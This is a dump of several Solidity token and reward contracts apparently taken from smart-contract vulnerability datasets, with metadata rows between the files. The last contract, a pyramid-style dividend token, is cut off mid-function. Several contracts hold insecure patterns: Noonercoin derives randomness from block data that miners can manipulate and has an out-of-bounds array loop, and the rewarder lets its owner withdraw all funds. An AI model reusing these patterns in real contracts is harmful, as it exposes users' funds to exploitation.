function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0);
require(snapshotId <= _currentSnapshotId.current());
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnaphots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PictosisToken is ERC20, ERC20Detailed, ERC20Mintable, ERC20Capped, ERC20Snapshot, Ownable {
uint transfersEnabledDate;
modifier onlyTransfersEnabled() {
require(block.timestamp >= transfersEnabledDate, "Transfers disabled");
_;
}
constructor(uint _enableTransfersDate, uint _cap)
ERC20Capped(_cap)
ERC20Mintable()
ERC20Detailed("Pictosis Token", "PICTO", 18)
ERC20()
Ownable()
public
{
transfersEnabledDate = _enableTransfersDate;
}
function areTransfersEnabled() public view returns(bool) {
return block.timestamp >= transfersEnabledDate;
}
function transfer(address to,
uint256 value)
public
onlyTransfersEnabled
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(address from,
address to,
uint256 value)
public
onlyTransfersEnabled
returns (bool)
{
return super.transferFrom(from, to, value);
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender,
uint256 _amount,
bytes memory _extraData)
public
returns (bool success)
{
require(approve(_spender, _amount), "Couldn't approve spender");
ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _amount, address(this), _extraData);
return true;
}
}
| 216,718 | 13,679 |
8e4808b906da5f999ef1f5c8c3cdabd2b3045d37f9c2fbce9eeb032f5c64735a
| 21,476 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/67/67e6f0c6a2b185be33dc2ed59d7b94345c874068_Rewarder_MasterChef_Style.sol
| 3,620 | 15,421 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IRewarder {
function onPefiReward(uint256 pid, address user, address recipient, uint256 pefiAmount, uint256 newShareAmount) external;
function pendingTokens(uint256 pid, address user, uint256 pefiAmount) external view returns (IERC20[] memory, uint256[] memory);
}
interface IIglooMaster {
function totalShares(uint256 pid) external view returns (uint256);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Rewarder_MasterChef_Style is IRewarder, Ownable {
using SafeERC20 for IERC20;
/// @notice Info of each user.
/// `amount` LP token amount the user has provided.
/// `rewardDebt` The amount of rewardToken entitled to the user.
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
address public immutable rewardToken; // Address of token contract for rewards
address public immutable iglooMaster; // Address of Igloo Master
uint256 public immutable PID; // Pool ID in iglooMaster
uint256 private constant ACC_TOKEN_PRECISION = 1e18;
uint256 public totalShares; // Total amount of shares in the pool
uint256 public accRewardPerShare; // Accumulated reward tokens per share, times ACC_TOKEN_PRECISION. See below.
uint256 public tokensPerSecond; // Reward tokens to distribute per second
uint256 public totalRewardAmount; // Total amount of reward tokens to distribute all time
uint256 public rewardDistributed; // Amount of reward tokens distributed to this pool so far
uint256 public lastRewardTimestamp; // Timestamp of last block that reward token distribution took place.
address public constant AVAX = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; //placeholder address for native token (AVAX)
mapping (address => UserInfo) public userInfo;
event LogOnReward(address indexed user, address indexed to, uint256 amount);
event RewardRateUpdated(uint256 oldRate, uint256 newRate);
modifier onlyIglooMaster {
require(msg.sender == iglooMaster,
"Only iglooMaster can call this function.");
_;
}
constructor (address _rewardToken, address _iglooMaster, uint256 _PID, uint256 _tokensPerSecond, uint256 _rewardStartTimestamp) {
require(_rewardStartTimestamp > block.timestamp, "rewards must start in future");
rewardToken = _rewardToken;
iglooMaster = _iglooMaster;
PID = _PID;
tokensPerSecond = _tokensPerSecond;
emit RewardRateUpdated(0, _tokensPerSecond);
lastRewardTimestamp = _rewardStartTimestamp;
}
//VIEW FUNCTIONS
function pendingTokens(uint256, address user, uint256)
override external view
returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts) {
IERC20[] memory _rewardTokens = new IERC20[](1);
_rewardTokens[0] = IERC20(rewardToken);
uint256[] memory _rewardAmounts = new uint256[](1);
_rewardAmounts[0] = pendingReward(user);
return (_rewardTokens, _rewardAmounts);
}
function pendingReward(address _user) public view returns(uint256) {
UserInfo storage user = userInfo[_user];
uint256 accRewardPerShareLocal = accRewardPerShare;
uint256 amountRemainingToDistribute = rewardsRemaining();
if (block.timestamp > lastRewardTimestamp && totalShares != 0 && amountRemainingToDistribute > 0) {
uint256 multiplier = (block.timestamp - lastRewardTimestamp);
uint256 amountReward = multiplier * tokensPerSecond;
if (amountReward > amountRemainingToDistribute) {
amountReward = amountRemainingToDistribute;
}
accRewardPerShareLocal += (amountReward * ACC_TOKEN_PRECISION) / totalShares;
}
uint256 pending = ((user.amount * accRewardPerShareLocal) / ACC_TOKEN_PRECISION) - user.rewardDebt;
return pending;
}
function rewardsRemaining() public view returns(uint256) {
uint256 amountRemainingToDistribute = totalRewardAmount - rewardDistributed;
return amountRemainingToDistribute;
}
function distributionTimeRemaining() public view returns(uint256) {
uint256 amountRemainingToDistribute = rewardsRemaining();
return amountRemainingToDistribute / tokensPerSecond;
}
//EXTERNAL FUNCTIONS
//simple function to receive AVAX transfers
receive() external payable {}
//IGLOO MASTER-ONLY FUNCTIONS
function onPefiReward(uint256,
address sender,
address recipient,
uint256,
uint256 newShareAmount) onlyIglooMaster override external {
_updatePool();
UserInfo storage user = userInfo[sender];
if (user.amount > 0) {
uint256 pending = ((user.amount * accRewardPerShare) / ACC_TOKEN_PRECISION) - user.rewardDebt;
if (pending > 0) {
_safeRewardTokenTransfer(rewardToken, recipient, pending);
emit LogOnReward(sender, recipient, pending);
}
}
totalShares -= user.amount;
user.amount = newShareAmount;
totalShares += newShareAmount;
user.rewardDebt = (newShareAmount * accRewardPerShare) / ACC_TOKEN_PRECISION;
}
//OWNER-ONLY FUNCTIONS
function updateRewardStart(uint256 _rewardStartTimestamp) external onlyOwner {
require(_rewardStartTimestamp > block.timestamp, "rewards must start in future");
lastRewardTimestamp = _rewardStartTimestamp;
}
function updateRewardRate(uint256 _tokensPerSecond) external onlyOwner {
emit RewardRateUpdated(tokensPerSecond, _tokensPerSecond);
tokensPerSecond = _tokensPerSecond;
}
function updateTotalRewardAmount(uint256 _totalRewardAmount) external onlyOwner {
require(_totalRewardAmount >= rewardDistributed, "invalid decrease of totalRewardAmount");
totalRewardAmount = _totalRewardAmount;
}
function recoverFunds(address token, address dest, uint256 amount) external onlyOwner {
_safeRewardTokenTransfer(token, dest, amount);
}
//INTERNAL FUNCTIONS
// Update reward variables to be up-to-date.
function _updatePool() internal {
if (block.timestamp <= lastRewardTimestamp) {
return;
}
if (totalShares == 0 || tokensPerSecond == 0 || rewardDistributed == totalRewardAmount) {
lastRewardTimestamp = block.timestamp;
return;
}
uint256 multiplier = (block.timestamp - lastRewardTimestamp);
uint256 amountReward = multiplier * tokensPerSecond;
uint256 amountRemainingToDistribute = rewardsRemaining();
if (amountReward > amountRemainingToDistribute) {
amountReward = amountRemainingToDistribute;
}
rewardDistributed += amountReward;
accRewardPerShare += (amountReward * ACC_TOKEN_PRECISION) / totalShares;
lastRewardTimestamp = block.timestamp;
}
//internal wrapper function to avoid reverts due to rounding
function _safeRewardTokenTransfer(address token, address user, uint256 amount) internal {
if (token == AVAX) {
uint256 avaxBalance = address(this).balance;
if (amount > avaxBalance) {
payable(user).transfer(avaxBalance);
} else {
payable(user).transfer(amount);
}
} else {
IERC20 coin = IERC20(token);
uint256 coinBal = coin.balanceOf(address(this));
if (amount > coinBal) {
coin.safeTransfer(user, coinBal);
} else {
coin.safeTransfer(user, amount);
}
}
}
function _checkBalance(address token) internal view returns (uint256) {
if (token == AVAX) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
}
| 93,882 | 13,680 |
fdfd2bda3f59f6fd72685c6447800230893d490ad9a16b2f7448992e055f0bbd
| 12,730 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/3f/3FE339b1e8e8736Dc610db6C0c5EE78f1b027F8b_Noonercoin.sol
| 3,319 | 11,915 |
pragma solidity ^0.5.0;
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225, 250];
uint8[] __remainingRandomVariable = [150, 175, 200, 225, 250];
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occuranceOfRandonNumber;
uint256 weekStartTime = now;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 totalWeiBurned = 0;
uint256 totalCycleLeft = 20;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;
uint256 private _cycleTime = 86400; //given one day sec
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
mintingRateNoonerWei = 0;
startTime = now;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
if(now-weekStartTime > 720){ // 720 secs = 12 min // 3600
popRandomVariable();
weekStartTime=now;//given now
}
//burn the tokens before minting
if(isNewCycleStart){
uint256 randomValue = randomVariablePicker();
if(randomValue != 150){
burnToken();
isNewCycleStart = false;
}
}
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
lastMintingTime = now;
uint256 timeDiff = now - startTime; //unixtime - startTime = secs
uint256 fromTime = _cycleTime - _frequency; //72576000 // 86400 - 120 = 86280
if(timeDiff > fromTime){ //120weeks - 120seconds
if(timeDiff < _cycleTime){//120 weeks
uint256 _randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerVaue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalVaue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
}
}
return true;
}
function popRandomVariable() public returns(bool){
uint256 randomNumber = randomVariablePicker();
if(occuranceOfRandonNumber[randomNumber]>=24){
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
for(uint256 index=0;index<__remainingRandomVariable.length-1;index++){
tempRemainingRandomVariable[index]= __remainingRandomVariable[index];
}
__remainingRandomVariable = tempRemainingRandomVariable;
}
if(occuranceOfRandonNumber[randomNumber]<24){
occuranceOfRandonNumber[randomNumber] = occuranceOfRandonNumber[randomNumber]+1;
}
return true;
}
function burnToken() public returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
uint256 signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerVaue(flag * 604800, 150 ** index, index);
uint256 intDecimalValue = getDecimalVaue(flag * 604800, 150 ** index, index);
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 iterationsInOneCycle = _cycleTime/_frequency;
uint256 totalMintedTokens = noonercoin[adminAddress]*10**18 + noonerwei[adminAddress] + totalWeiBurned +
iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
uint256 weiToBurned = 27000000*10**18 - (totalMintedTokens + signmaValueWei) - totalWeiBurned;
uint256 totalWeiInAdminAcc = noonercoin[adminAddress] * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc < weiToBurned)
return false;
uint256 remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = remainingWei/10**18;
noonerwei[adminAddress] = remainingWei - noonercoin[adminAddress] * 10**18;
totalWeiBurned = totalWeiBurned + weiToBurned;
return true;
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) internal view returns (uint256){
return noonerwei[add];
}
function getIntegerVaue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalVaue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
uint256 randomValue = randomVariablePicker();
if(randomValue != 150){
if(isNewCycleStart){
burnToken();
isNewCycleStart = false;
}
}
uint256 weiAfterMint = noonerwei[add] + missedWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
noonercoin[add] = noonercoin[add] + missedToken + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
return true;
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
uint256 randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerVaue(flag, randomValue, 1);
mintingRateNoonerWei = getDecimalVaue(flag, randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
return true;
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
return lastMintingTimeAndStartTimeDifference;
}
function getCurrentTimeAndStartTimeDifference() public view returns (uint256) {
uint256 currentTimeAndStartTimeDifference = now - startTime;
return currentTimeAndStartTimeDifference;
}
function checkFailedTransactions(address add) public view returns (uint256) {
uint256 adminBalance = noonercoin[add]; //admin balance
uint256 currMintingRate = getLastMintingRate();
uint256 timeDifference = now - startTime;
uint256 valueForEach = timeDifference/_frequency;
uint256 estimatedMintedToken = valueForEach * currMintingRate;
uint256 checkDifference = estimatedMintedToken - adminBalance;
uint256 missedTokens = checkDifference / mintingRateNoonerCoin;
return missedTokens;
}
function checkMissingTokens(address add) public view returns (uint256, uint256) {
uint256 adminBalance = noonercoin[add];
uint256 adminBalanceinWei = noonerwei[add];
if(lastMintingTime == 0){
return(0,0);
}
if(lastMintingTime != 0) {
uint256 timeDifference = now-startTime;
uint256 valueForEach = timeDifference/_frequency;
uint256 estimatedMintedToken = valueForEach*mintingRateNoonerCoin;
uint256 estimatedMintedTokenWei = valueForEach*mintingRateNoonerWei;
uint256 temp = estimatedMintedTokenWei/10**18;
estimatedMintedTokenWei -= temp;
estimatedMintedToken += temp;
uint256 checkDifferenceWei = estimatedMintedTokenWei-adminBalanceinWei;
uint256 checkDifference = estimatedMintedToken - adminBalance;
return(checkDifference, checkDifferenceWei);
}
}
function currentMintRate() public view returns (uint256){
uint256 currMintingRate = getLastMintingRate();
return currMintingRate;
}
}
| 124,560 | 13,681 |
054d8f50ebc20a25a4170b1bb9f6b73c3e44deb3ede3adb03cedc58df888bee4
| 20,831 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc8cc5c8db49d3a556bf64a5c4b3ae9ff862ac6af.sol
| 4,007 | 15,242 |
pragma solidity ^0.4.20;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FunCoin is Ownable, Pausable {
using SafeMath for uint256;
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "FunCoin";
string public symbol = "FUN";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 15;
uint8 constant internal devFee_ = 5;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
function buy(address _referredBy) whenNotPaused() public payable returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function() whenNotPaused() payable public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest() whenNotPaused() onlyStronghands() public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw() onlyStronghands() public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders() public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = calculateDividends_(_ethereum);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 15% of the tokens that are transfered
// these are dispersed to shareholders (Be happy shareholder!!! :))
uint256 _tokenFee = calculateDividends_(_amountOfTokens);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
